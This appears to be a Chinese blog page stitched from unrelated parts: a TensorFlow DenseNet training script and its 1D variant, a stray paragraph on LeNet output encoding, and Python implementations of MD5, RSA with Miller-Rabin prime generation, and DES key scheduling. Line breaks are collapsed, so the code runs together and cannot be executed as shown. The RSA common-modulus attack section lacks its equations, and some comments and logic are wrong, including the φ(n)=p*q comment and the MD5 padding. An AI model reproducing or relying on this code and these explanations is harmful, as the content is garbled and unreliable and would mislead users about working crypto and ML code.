import tensorflow as tffrom tflearn.layers.conv import global_avg_poolfrom tensorflow.contrib.layers import batch_norm, flattenfrom tensorflow.contrib.layers import xavier_initializerfrom tensorflow.contrib.framework import arg_scopefrom cifar10 import *# Hyperparametergrowth_k = 24nb_block = 2 # how many (dense block + Transition Layer) ?init_learning_rate = 1e-4epsilon = 1e-4 # AdamOptimizer epsilondropout_rate = 0.2# Momentum Optimizer will usenesterov_momentum = 0.9weight_decay = 1e-4# Label & batch_sizebatch_size = 64iteration = 782# batch_size * iteration = data_set_numbertest_iteration = 10total_epochs = 300def conv_layer(input, filter, kernel, stride=1, layer_name="conv"): with tf.name_scope(layer_name): network = tf.layers.conv2d(inputs=input, use_bias=False, filters=filter, kernel_size=kernel, strides=stride, padding='SAME') return networkdef Global_Average_Pooling(x, stride=1): """ width = np.shape(x)[1] height = np.shape(x)[2] pool_size = [width, height] return tf.layers.average_pooling2d(inputs=x, pool_size=pool_size, strides=stride) # The stride value does not matter It is global average pooling without tflearn """ return global_avg_pool(x, name='Global_avg_pooling') # But maybe you need to install h5py and curses or notdef Batch_Normalization(x, training, scope): with arg_scope([batch_norm], scope=scope, updates_collections=None, decay=0.9, center=True, scale=True, zero_debias_moving_mean=True) : return tf.cond(training, lambda : batch_norm(inputs=x, is_training=training, reuse=None), lambda : batch_norm(inputs=x, is_training=training, reuse=True))def Drop_out(x, rate, training) : return tf.layers.dropout(inputs=x, rate=rate, training=training)def Relu(x): return tf.nn.relu(x)def Average_pooling(x, pool_size=[2,2], stride=2, padding='VALID'): return tf.layers.average_pooling2d(inputs=x, pool_size=pool_size, strides=stride, padding=padding)def Max_Pooling(x, pool_size=[3,3], stride=2, padding='VALID'): return tf.layers.max_pooling2d(inputs=x, pool_size=pool_size, strides=stride, padding=padding)def Concatenation(layers) : return tf.concat(layers, axis=3)def Linear(x) : return tf.layers.dense(inputs=x, units=class_num, name='linear')def Evaluate(sess): test_acc = 0.0 test_loss = 0.0 test_pre_index = 0 add = 1000 for it in range(test_iteration): test_batch_x = test_x[test_pre_index: test_pre_index + add] test_batch_y = test_y[test_pre_index: test_pre_index + add] test_pre_index = test_pre_index + add test_feed_dict = { x: test_batch_x, label: test_batch_y, learning_rate: epoch_learning_rate, training_flag: False } loss_, acc_ = sess.run([cost, accuracy], feed_dict=test_feed_dict) test_loss += loss_ / 10.0 test_acc += acc_ / 10.0 summary = tf.Summary(value=[tf.Summary.Value(tag='test_loss', simple_value=test_loss), tf.Summary.Value(tag='test_accuracy', simple_value=test_acc)]) return test_acc, test_loss, summaryclass DenseNet(): def __init__(self, x, nb_blocks, filters, training): self.nb_blocks = nb_blocks self.filters = filters self.training = training self.model = self.Dense_net(x) def bottleneck_layer(self, x, scope): # print(x) with tf.name_scope(scope): x = Batch_Normalization(x, training=self.training, scope=scope+'_batch1') x = Relu(x) x = conv_layer(x, filter=4 * self.filters, kernel=[1,1], layer_name=scope+'_conv1') x = Drop_out(x, rate=dropout_rate, training=self.training) x = Batch_Normalization(x, training=self.training, scope=scope+'_batch2') x = Relu(x) x = conv_layer(x, filter=self.filters, kernel=[3,3], layer_name=scope+'_conv2') x = Drop_out(x, rate=dropout_rate, training=self.training) # print(x) return x def transition_layer(self, x, scope): with tf.name_scope(scope): x = Batch_Normalization(x, training=self.training, scope=scope+'_batch1') x = Relu(x) # x = conv_layer(x, filter=self.filters, kernel=[1,1], layer_name=scope+'_conv1') # https://github.com/taki0112/Densenet-Tensorflow/issues/10 in_channel = x.shape[-1] x = conv_layer(x, filter=in_channel*0.5, kernel=[1,1], layer_name=scope+'_conv1') x = Drop_out(x, rate=dropout_rate, training=self.training) x = Average_pooling(x, pool_size=[2,2], stride=2) return x def dense_block(self, input_x, nb_layers, layer_name): with tf.name_scope(layer_name): layers_concat = list() layers_concat.append(input_x) x = self.bottleneck_layer(input_x, scope=layer_name + '_bottleN_' + str(0)) layers_concat.append(x) for i in range(nb_layers - 1): x = Concatenation(layers_concat) x = self.bottleneck_layer(x, scope=layer_name + '_bottleN_' + str(i + 1)) layers_concat.append(x) x = Concatenation(layers_concat) return x def Dense_net(self, input_x): x = conv_layer(input_x, filter=2 * self.filters, kernel=[7,7], stride=2, layer_name='conv0') # x = Max_Pooling(x, pool_size=[3,3], stride=2) """ for i in range(self.nb_blocks) : # 6 -> 12 -> 48 x = self.dense_block(input_x=x, nb_layers=4, layer_name='dense_'+str(i)) x = self.transition_layer(x, scope='trans_'+str(i)) """ x = self.dense_block(input_x=x, nb_layers=6, layer_name='dense_1') x = self.transition_layer(x, scope='trans_1') x = self.dense_block(input_x=x, nb_layers=12, layer_name='dense_2') x = self.transition_layer(x, scope='trans_2') x = self.dense_block(input_x=x, nb_layers=48, layer_name='dense_3') x = self.transition_layer(x, scope='trans_3') x = self.dense_block(input_x=x, nb_layers=32, layer_name='dense_final') # 100 Layer x = Batch_Normalization(x, training=self.training, scope='linear_batch') x = Relu(x) x = Global_Average_Pooling(x) x = flatten(x) x = Linear(x) # x = tf.reshape(x, [-1, 10]) return xtrain_x, train_y, test_x, test_y = prepare_data()train_x, test_x = color_preprocessing(train_x, test_x)# image_size = 32, img_channels = 3, class_num = 10 in cifar10x = tf.placeholder(tf.float32, shape=[None, image_size, image_size, img_channels])label = tf.placeholder(tf.float32, shape=[None, class_num])training_flag = tf.placeholder(tf.bool)learning_rate = tf.placeholder(tf.float32, name='learning_rate')logits = DenseNet(x=x, nb_blocks=nb_block, filters=growth_k, training=training_flag).modelcost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=label, logits=logits))"""l2_loss = tf.add_n([tf.nn.l2_loss(var) for var in tf.trainable_variables()])optimizer = tf.train.MomentumOptimizer(learning_rate=learning_rate, momentum=nesterov_momentum, use_nesterov=True)train = optimizer.minimize(cost + l2_loss * weight_decay)In paper, use MomentumOptimizerinit_learning_rate = 0.1but, I'll use AdamOptimizer"""optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate, epsilon=epsilon)train = optimizer.minimize(cost)correct_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(label, 1))accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))saver = tf.train.Saver(tf.global_variables())with tf.Session() as sess: ckpt = tf.train.get_checkpoint_state('./model') if ckpt and tf.train.checkpoint_exists(ckpt.model_checkpoint_path): saver.restore(sess, ckpt.model_checkpoint_path) else: sess.run(tf.global_variables_initializer()) summary_writer = tf.summary.FileWriter('./logs', sess.graph) epoch_learning_rate = init_learning_rate for epoch in range(1, total_epochs + 1): if epoch == (total_epochs * 0.5) or epoch == (total_epochs * 0.75): epoch_learning_rate = epoch_learning_rate / 10 pre_index = 0 train_acc = 0.0 train_loss = 0.0 for step in range(1, iteration + 1): if pre_index+batch_size < 50000 : batch_x = train_x[pre_index : pre_index+batch_size] batch_y = train_y[pre_index : pre_index+batch_size] else : batch_x = train_x[pre_index : ] batch_y = train_y[pre_index : ] batch_x = data_augmentation(batch_x) train_feed_dict = { x: batch_x, label: batch_y, learning_rate: epoch_learning_rate, training_flag : True } _, batch_loss = sess.run([train, cost], feed_dict=train_feed_dict) batch_acc = accuracy.eval(feed_dict=train_feed_dict) train_loss += batch_loss train_acc += batch_acc pre_index += batch_size if step == iteration : train_loss /= iteration # average loss train_acc /= iteration # average accuracy train_summary = tf.Summary(value=[tf.Summary.Value(tag='train_loss', simple_value=train_loss), tf.Summary.Value(tag='train_accuracy', simple_value=train_acc)]) test_acc, test_loss, test_summary = Evaluate(sess) summary_writer.add_summary(summary=train_summary, global_step=epoch) summary_writer.add_summary(summary=test_summary, global_step=epoch) summary_writer.flush() line = "epoch: %d/%d, train_loss: %.4f, train_acc: %.4f, test_loss: %.4f, test_acc: %.4f \n" % ( epoch, total_epochs, train_loss, train_acc, test_loss, test_acc) print(line) with open('logs.txt', 'a') as f : f.write(line) saver.save(sess=sess, save_path='./model/dense.ckpt')
一维代码
由于我做的是一维数据识别，需要将代码改为一维，和修改数据读入。
修改下面部分即可改变网络结构，由于电脑显卡太差，原论文中的结构会因为显存不够而报错。
def Dense_net(self, input_x): x = conv_layer(input_x, filter=2 * self.filters, kernel=[1, 7], stride=2, layer_name='conv0')#卷积 x = Max_Pooling(x, pool_size=[1, 3], stride=2)#最大池化 for i in range(self.nb_blocks): # 6 -> 12 -> 48 x = self.dense_block(input_x=x, nb_layers=2, layer_name='dense_' + str(i)) x = self.transition_layer(x, scope='trans_' + str(i)) """ x = self.dense_block(input_x=x, nb_layers=6, layer_name='dense_1') x = self.transition_layer(x, scope='trans_1') x = self.dense_block(input_x=x, nb_layers=12, layer_name='dense_2') x = self.transition_layer(x, scope='trans_2') x = self.dense_block(input_x=x, nb_layers=48, layer_name='dense_3') x = self.transition_layer(x, scope='trans_3') """ x = self.dense_block(input_x=x, nb_layers=4, layer_name='dense_final') # 100 Layer x = Batch_Normalization(x, training=self.training, scope='linear_batch') x = Relu(x) x = Global_Average_Pooling(x) x = flatten(x) x = Linear(x) # x = tf.reshape(x, [-1, 10]) return x
完整代码
import tensorflow as tffrom tflearn.layers.conv import global_avg_poolfrom tensorflow.examples.tutorials.mnist import input_datafrom tensorflow.contrib.layers import batch_norm, flattenfrom tensorflow.contrib.framework import arg_scopeimport numpy as npimport matplotlib.pyplot as plt# Hyperparametergrowth_k = 12nb_block = 1 # how many (dense block + Transition Layer) ?init_learning_rate = 1e-3epsilon = 1e-8 # AdamOptimizer epsilondropout_rate = 0.2# Momentum Optimizer will usenesterov_momentum = 0.9weight_decay = 1e-4# Label & batch_sizeclass_num = 2total_epochs = 400DATA_SIZE = 1175BATCH_SIZE =128acc_print=[]acc_printx=[]acc_printy=[]tf.reset_default_graph()def conv_layer(input, filter, kernel, stride=1, layer_name="conv"): with tf.name_scope(layer_name): network = tf.layers.conv2d(inputs=input, filters=filter, kernel_size=kernel, strides=stride, padding='SAME') return networkdef Global_Average_Pooling(x, stride=1): """ width = np.shape(x)[1] height = np.shape(x)[2] pool_size = [width, height] return tf.layers.average_pooling2d(inputs=x, pool_size=pool_size, strides=stride) # The stride value does not matter It is global average pooling without tflearn """ return global_avg_pool(x, name='Global_avg_pooling') # But maybe you need to install h5py and curses or notdef Batch_Normalization(x, training, scope): with arg_scope([batch_norm], scope=scope, updates_collections=None, decay=0.9, center=True, scale=True, zero_debias_moving_mean=True): return tf.cond(training, lambda: batch_norm(inputs=x, is_training=training, reuse=None), lambda: batch_norm(inputs=x, is_training=training, reuse=True))def Drop_out(x, rate, training): return tf.layers.dropout(inputs=x, rate=rate, training=training)def Relu(x): return tf.nn.relu(x)def Average_pooling(x, pool_size=[1, 2], stride=2, padding='VALID'): return tf.layers.average_pooling2d(inputs=x, pool_size=pool_size, strides=stride, padding=padding)def Max_Pooling(x, pool_size=[1, 3], stride=2, padding='VALID'): return tf.layers.max_pooling2d(inputs=x, pool_size=pool_size, strides=stride, padding=padding)def Concatenation(layers): return tf.concat(layers, axis=3)def Linear(x): return tf.layers.dense(inputs=x, units=class_num, name='linear')class DenseNet(): def __init__(self, x, nb_blocks, filters, training): self.nb_blocks = nb_blocks self.filters = filters self.training = training self.model = self.Dense_net(x) def bottleneck_layer(self, x, scope): # print(x) with tf.name_scope(scope): x = Batch_Normalization(x, training=self.training, scope=scope + '_batch1') x = Relu(x) x = conv_layer(x, filter=4 * self.filters, kernel=[1, 1], layer_name=scope + '_conv1') x = Drop_out(x, rate=dropout_rate, training=self.training) x = Batch_Normalization(x, training=self.training, scope=scope + '_batch2') x = Relu(x) x = conv_layer(x, filter=self.filters, kernel=[1, 3], layer_name=scope + '_conv2') x = Drop_out(x, rate=dropout_rate, training=self.training) # print(x) return x def transition_layer(self, x, scope): with tf.name_scope(scope): x = Batch_Normalization(x, training=self.training, scope=scope + '_batch1') x = Relu(x) x = conv_layer(x, filter=self.filters, kernel=[1,1], layer_name=scope+'_conv1') # https://github.com/taki0112/Densenet-Tensorflow/issues/10 #in_channel = x.shape[-1] #x = conv_layer(x, filter=in_channel * 1, kernel=[1, 1], layer_name=scope + '_conv1') x = Drop_out(x, rate=dropout_rate, training=self.training) x = Average_pooling(x, pool_size=[1, 2], stride=2) return x def dense_block(self, input_x, nb_layers, layer_name): with tf.name_scope(layer_name): layers_concat = list() layers_concat.append(input_x) x = self.bottleneck_layer(input_x, scope=layer_name + '_bottleN_' + str(0)) layers_concat.append(x) for i in range(nb_layers - 1): x = Concatenation(layers_concat) x = self.bottleneck_layer(x, scope=layer_name + '_bottleN_' + str(i + 1)) layers_concat.append(x) x = Concatenation(layers_concat) return x def Dense_net(self, input_x): x = conv_layer(input_x, filter=2 * self.filters, kernel=[1, 7], stride=2, layer_name='conv0')#卷积 x = Max_Pooling(x, pool_size=[1, 3], stride=2)#最大池化 for i in range(self.nb_blocks): # 6 -> 12 -> 48 x = self.dense_block(input_x=x, nb_layers=2, layer_name='dense_' + str(i)) x = self.transition_layer(x, scope='trans_' + str(i)) """ x = self.dense_block(input_x=x, nb_layers=6, layer_name='dense_1') x = self.transition_layer(x, scope='trans_1') x = self.dense_block(input_x=x, nb_layers=12, layer_name='dense_2') x = self.transition_layer(x, scope='trans_2') x = self.dense_block(input_x=x, nb_layers=48, layer_name='dense_3') x = self.transition_layer(x, scope='trans_3') """ x = self.dense_block(input_x=x, nb_layers=4, layer_name='dense_final') # 100 Layer x = Batch_Normalization(x, training=self.training, scope='linear_batch') x = Relu(x) x = Global_Average_Pooling(x) x = flatten(x) x = Linear(x) # x = tf.reshape(x, [-1, 10]) return xdef convert_to_one_hot(Y, C): #转为1位热码编码 Y = np.eye(C)[Y.reshape(-1)].T return Ystring0=np.loadtxt('4.30+5.1.txt',dtype=np.float32)trainy=string0[:,0].reshape(-1,1).T #1行trainx=string0[:,1:].reshape(1175,-1)trainy= convert_to_one_hot(trainy.astype(int), 2).Tx = tf.placeholder(tf.float32, shape=[None, 500])batch_images = tf.reshape(x, [-1,1,500,1])label = tf.placeholder(tf.float32, shape=[None, 2])training_flag = tf.placeholder(tf.bool)learning_rate = tf.placeholder(tf.float32, name='learning_rate')logits = DenseNet(x=batch_images, nb_blocks=nb_block, filters=growth_k, training=training_flag).modelcost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=label, logits=logits))"""l2_loss = tf.add_n([tf.nn.l2_loss(var) for var in tf.trainable_variables()])optimizer = tf.train.MomentumOptimizer(learning_rate=learning_rate, momentum=nesterov_momentum, use_nesterov=True)train = optimizer.minimize(cost + l2_loss * weight_decay)In paper, use MomentumOptimizerinit_learning_rate = 0.1but, I'll use AdamOptimizer"""optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate, epsilon=epsilon)train = optimizer.minimize(cost)correct_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(label, 1))accuracy = tf.reduce_mean(tf.cast(correct_prediction, "float"))tf.summary.scalar('loss', cost)tf.summary.scalar('accuracy', accuracy)saver = tf.train.Saver(tf.global_variables())with tf.Session() as sess: ckpt = tf.train.get_checkpoint_state('./model') if ckpt and tf.train.checkpoint_exists(ckpt.model_checkpoint_path): #寻找模型路径 saver.restore(sess, ckpt.model_checkpoint_path) else: sess.run(tf.global_variables_initializer()) merged = tf.summary.merge_all() #合并默认图中收集的所有摘要。 writer = tf.summary.FileWriter('./logs', sess.graph) #指定一个文件用来保存图 global_step = 0 epoch_learning_rate = init_learning_rate i=1 for epoch in range(total_epochs): if epoch == (total_epochs * 0.5) or epoch == (total_epochs * 0.75): epoch_learning_rate = epoch_learning_rate / 10 total_batch =10 #训练总次数 for step in range(total_batch): start = (step * BATCH_SIZE) % DATA_SIZE end = min(start + BATCH_SIZE, DATA_SIZE) # 每次选取batch_size个样本进行训练 # _, loss_value, step = sess.run([train_op, loss, global_step], feed_dict={x: trainx[start: end], y_: trainy[start: end]}) batch_x =trainx[start: end] batch_y =trainy[start: end] train_feed_dict = { x: batch_x, label: batch_y, learning_rate: epoch_learning_rate, training_flag: True } _, loss = sess.run([train, cost], feed_dict=train_feed_dict) if epoch % 10 == 0: global_step += 100 train_summary, train_accuracy = sess.run( [merged,accuracy], feed_dict=train_feed_dict) #t_accuracy = sess.run(accuracy,feed_dict={x:batch_x,label:batch_y}) print("Step:", epoch, "Loss:", loss, "Training accuracy:", train_accuracy) writer.add_summary(train_summary, global_step=epoch) acc_print.append(train_accuracy) acc_printy.append(loss) acc_printx.append(i) i+=1 test_feed_dict = { x: trainx[start:end], label: trainy[start:end], learning_rate: epoch_learning_rate, training_flag: False } #accuracy_rates = sess.run(accuracy, feed_dict=test_feed_dict) #print('Epoch:', '%04d' % (epoch + 1), '/ Accuracy =', accuracy_rates) # writer.add_summary(test_summary, global_step=epoch) plt.title("trend of accuracy") plt.plot(acc_printx,acc_print,color='r') plt.plot(acc_printx,acc_printy,color='cyan') plt.show() saver.save(sess=sess, save_path='./model/dense.ckpt')
使用这种分布编码而非更常用的“1 of N”编码用于产生输出的另一个原因是，当类别比较大的时候，非分布编码的效果比较差。原因是大多数时间非分布编码的输出必须为0。这使得用sigmoid单元很难实现。另一个原因是分类器不仅用于识别字母，也用于拒绝非字母。使用分布编码的RBF更适合该目标。因为与sigmoid不同，他们在输入空间的较好限制的区域内兴奋，而非典型模式更容易落到外边。RBF参数向量起着F6层目标向量的角色。需要指出这些向量的成分是+1或-1，这正好在F6 sigmoid的范围内，因此可以防止sigmoid函数饱和。实际上，+1和-1是sigmoid函数的最大弯曲的点处。这使得F6单元运行在最大非线性范围内。必须避免sigmoid函数的饱和，因为这将会导致损失函数较慢的收敛和病态问题。
A, B, C, D = (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476)
分组处理及步函数
def solve(chunk): global A global B global C global D w = list(struct.unpack('<' + 'I' * 16, chunk)) #分成16个组，I代表1组32位 a, b, c, d = A, B, C, D for i in range(64): #64轮运算 if i < 16: #每一轮运算只用到了b,c,d三个 f = ( b & c)|((~b) & d) flag = i #用于标识处于第几组信息 elif i < 32: f = (b & d)|(c & (~d)) flag = (5 * i +1) %16 elif i < 48: f = (b ^ c ^ d) flag = (3 * i + 5)% 16 else: f = c ^(b |(~d)) flag = (7 * i ) % 16 tmp = b + lrot((a + f + k[i] + w[flag])& 0xffffffff,r[i]) #&0xffffffff为了类型转换 a, b, c, d = d, tmp & 0xffffffff, b, c A = (A + a) & 0xffffffff B = (B + b) & 0xffffffff C = (C + c) & 0xffffffffD = (D + d) & 0xffffffff
import structimport mathimport binasciilrot = lambda x,n: (x << n)|(x >> 32- n) #循环左移的操作#初始向量A, B, C, D = (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476)# A, B, C, D = (0x01234567, 0x89ABCDEF, 0xFEDCBA98, 0x76543210)#循环左移的位移位数r = [ 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21 ]#使用正弦函数产生的位随机数，也就是书本上的T[i]k = [int(math.floor(abs(math.sin(i + 1)) * (2 ** 32))) for i in range(64)]def init_mess(message): global A global B global C global D A, B, C, D = (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476) # A, B, C, D = (0x01234567, 0x89ABCDEF, 0xFEDCBA98, 0x76543210) length = struct.pack('<Q', len(message)*8) #原消息长度64位比特的添加格式 while len(message) > 64: solve(message[:64]) message = message[64:] #长度不足64位消息自行填充 message += b'\x80' message += b'\x00' * (56 - len(message) % 64) message += length solve(message[:64])def solve(chunk): global A global B global C global D w = list(struct.unpack('<' + 'I' * 16, chunk)) #分成16个组，I代表1组32位 a, b, c, d = A, B, C, D for i in range(64): #64轮运算 if i < 16: #每一轮运算只用到了b,c,d三个 f = ( b & c)|((~b) & d) flag = i #用于标识处于第几组信息 elif i < 32: f = (b & d)|(c & (~d)) flag = (5 * i +1) %16 elif i < 48: f = (b ^ c ^ d) flag = (3 * i + 5)% 16 else: f = c ^(b |(~d)) flag = (7 * i ) % 16 tmp = b + lrot((a + f + k[i] + w[flag])& 0xffffffff,r[i]) #&0xffffffff为了类型转换 a, b, c, d = d, tmp & 0xffffffff, b, c A = (A + a) & 0xffffffff B = (B + b) & 0xffffffff C = (C + c) & 0xffffffff D = (D + d) & 0xffffffffdef digest(): global A global B global C global D return struct.pack('<IIII',A,B,C,D)def hex_digest(): return binascii.hexlify(digest()).decode()if __name__ == '__main__': while True: mess = input("请输入你的信息:") init_mess(mess.encode()) out_put = hex_digest() print(type(out_put)) print (out_put)
对于大整数的素性测试，一般用 Miller-Rabin 算法。它是一个基于概率的算法，是费马小定理（若 n 是一个素数，则 an-1 ≡ 1 (mod n) ）的一个改进。要测试 n 是否为素数，首先将 n−1 分解为 2sd 。在每次测试开始时，先随机选一个介于 [1,n−1] 的整数 a ，之后如果对所有的 r∈[0,s−1] ，若admodn≠1 且 a2rd mod n≠−1，则 n 是合数。否则，n 有 3/4 的概率为素数。增加测试的次数，该数是素数的概率会越来越高。这样，我们就可以给定位数 n 的情况下随机生成数，然后再用 Miller-Rabin 算法验证它是不是素数，若是，则就用它，否则再随机生成其他数字，循环。Python 脚本如下：
# 素性检验：采用 Miler-Rabin 检验法def miller_rabin(n,k=80): if n == 2 or n == 3: return True if n % 2 == 0: return False r, s = 0, n - 1 while s % 2 == 0: r += 1 s //= 2 for _ in range(k): a = random.randrange(2, n - 1) x = pow(a, s, n) if x == 1 or x == n - 1: continue for _ in range(r - 1): x = pow(x, 2, n) if x == n - 1: break else: return False return True# 生成 b 位的素数def genPrime(b=1024): while True: # the highest bit is 1 ans = "1" for i in range(b-2): ans += str(random.randint(0,1)) # the lowest bit is 1 ans += "1" ans = int(ans,2) if miller_rabin(ans): return ans
带模的幂运算
原理：模重复平方运算，Python 代码如下：
def FastMod(x, n, m): a = 1 b = x while True: temp = n if n % 2 == 1 : a = a * b % m b = b * b % m n = n//2 if temp < 1 : return a
求逆运算
扩展欧几里得法
def computeD(e, phi_n): (x, y, r) = extendedGCD(phi_n, e) # y maybe < 0, so convert it if y < 0: return phi_n + y return y# Extended Euclidean algorithmdef extendedGCD(a, b): # a*xi + b*yi = ri if b == 0: return (1, 0, a) # a*x1 + b*y1 = a x1 = 1 y1 = 0 # a*x2 + b*y2 = b x2 = 0 y2 = 1 while b != 0: q = a // b # ri = r(i-2) % r(i-1) r = a % b a = b b = r # xi = x(i-2) - q*x(i-1) x = x1 - q*x2 x1 = x2 x2 = x # yi = y(i-2) - q*y(i-1) y = y1 - q*y2 y1 = y2 y2 = yreturn(x1, y1, a)
场景：n 相同（让多个用户使用相同的模数 n ），但他们的公私钥对不同。这样，我们可以在已知 n,e1,e2,c1,c2 的情况下解出 m 。过程如下：
其实有个隐形的前提条件是：
存在 s1,s2 使得：
又由 RSA 定义可知：
可得出：
解出明文。
完整代码
import randomdef FastMod(x, n, m): a = 1 b = x while True: temp = n if n % 2 == 1 : a = a * b % m b = b * b % m n = n//2 if temp < 1 : return adef computeD(e, phi_n): (x, y, r) = extendedGCD(phi_n, e) if y < 0: return phi_n + y return ydef extendedGCD(a, b): if b == 0: return (1, 0, a) x1 = 1 y1 = 0 x2 = 0 y2 = 1 while b != 0: q = a // b r = a % b a = b b = r x = x1 - q*x2 x1 = x2 x2 = x y = y1 - q*y2 y1 = y2 y2 = y return(x1, y1, a)def str2Hex(m): return "".join("{:02x}".format(ord(x)) for x in m)# 素性检验：采用 Miler-Rabin 检验法def miller_rabin(n,k=80): if n == 2 or n == 3: return True if n % 2 == 0: return False r, s = 0, n - 1 while s % 2 == 0: r += 1 s //= 2 for _ in range(k): a = random.randrange(2, n - 1) x = pow(a, s, n) if x == 1 or x == n - 1: continue for _ in range(r - 1): x = pow(x, 2, n) if x == n - 1: break else: return False return True# 生成 b 位的素数def genPrime(b=1024): while True: # the highest bit is 1 ans = "1" for i in range(b-2): ans += str(random.randint(0,1)) # the lowest bit is 1 ans += "1" ans = int(ans,2) if miller_rabin(ans): return ansdef genE(phi_n): while True: e = genPrime(b=random.randint(3,13)) if e == 3 or e == 5: continue if phi_n%e != 0: return edef RSAEncrypt(m,n,e): m = int(str2Hex(m),16) c = pow(m,e,n) return cdef RSADecrypt(c,d,n): m = pow(c,d,n) m = bytes.fromhex('{:x}'.format(m)) return mdef main(): # 生成两个大素数p和q print ("Generate p and q ......") p = genPrime() q = genPrime() print ("p = "+str(p)) print ("q = "+str(q)) # 计算n = p*q n = p*q print ("n = "+str(n)) # 计算φ(n) = p*q phi_n = (p-1)*(q-1) print ("\nGenerate e ......") # 生成一个和φ(n)互素的数e e = genE(phi_n) print ("e = "+str(e)) m = "Hello world!" # 加密算法 print ("\n"+8*"*"+" Encryption "+8*"*") Ciphertext = RSAEncrypt(m,n,e) print ("The Ciphertext is:\n\t"+str(Ciphertext)) # 解密算法 print ("\n"+8*"*"+" Decryption "+8*"*") # 使用私钥d，d是e模φ(n)的逆 d = computeD(e,phi_n) print ("d = "+str(d)) Plaintext = RSADecrypt(Ciphertext,d,n) print ("The Plaintext is:\n\t"+str(Plaintext))if __name__ == '__main__':main()
#PC-1盒def key_change_1(st): key1_list = [57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4] #得到56位，去掉校验位 res = "" for i in key1_list: res+=st[i-1] return res#PC-2盒def key_change_2(st): key2_list = [14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32] #压缩置换 #去掉9，18，22，25，35，38，43，54位得到48位 res = "" for i in key2_list: res+=st[i-1] return res#16轮迭代生成子密钥def key_gen(st): key_list = []#子密钥表 key_change_res = key_change_1(st) #PC-1置换分成C，D两块 key_c = key_change_res[0:28] key_d = key_change_res[28:] for i in range(1,17): #共16轮 if (i==1) or (i==2) or (i==9) or (i==16):#按轮数循环左移 key_c = zuoyiwei(key_c,1) key_d = zuoyiwei(key_d,1) else: key_c = zuoyiwei(key_c,2) key_d = zuoyiwei(key_d,2) key_yiwei = key_c+key_d #压缩置换 key_res = key_change_2(key_yiwei) key_list.append(key_res)return key_list
F函数
#E盒扩展置换，将32位输出扩展至48位def box_e(st): #E盒置换表 e_list = [32,1,2,3,4,5,4,5,6,7,8,9,8,9,10,11,12,13,12,13,14,15,16,17,16,17,18,19,20,21,20,21,22,23,24,25,24,25,26,27,28,29,28,29,30,31,32,1] res = "" for i in e_list: res +=st[i-1] return res#S盒代换盒def box_s(st): j = 0 #8个S盒代换表 s_list = [[14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7,0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8,4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0,15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13], [15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10,3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5,0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15,13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9], [10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8,13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1,13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7,1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12], [7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15,13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9,10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4,3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14], [2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9,14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6,4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14,11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3], [12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11,10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8,9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6,4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13], [4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1,13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6,1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2,6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12], [13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7,1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2,7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8,2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11]] res = "" for i in range(0,len(st),6):#6位输入，4位输出 begin_s = st[i:i+6] row = int(begin_s[0]+begin_s[5],2) col = int(begin_s[1:5],2) num = bin(s_list[j][row*16+col])[2:] for padd in range(0,4-len(num)): num = "0"+num res += num j = j+1 return res#P盒置换def box_p(st): res = "" p_list = [16,7,20,21,29,12,28,17,1,15,23,26,5,18,31,10,2,8,24,14,32,27,3,9,19,13,30,6,22,11,4,25] for i in p_list: res +=st[i-1] return res#封装成F函数def funcF(st,key): str_e_res = box_e(st) xor_res = xor(str_e_res,key) str_s_res = box_s(xor_res) str_p_res = box_p(str_s_res) return str_p_res
IP置换与IP逆置换
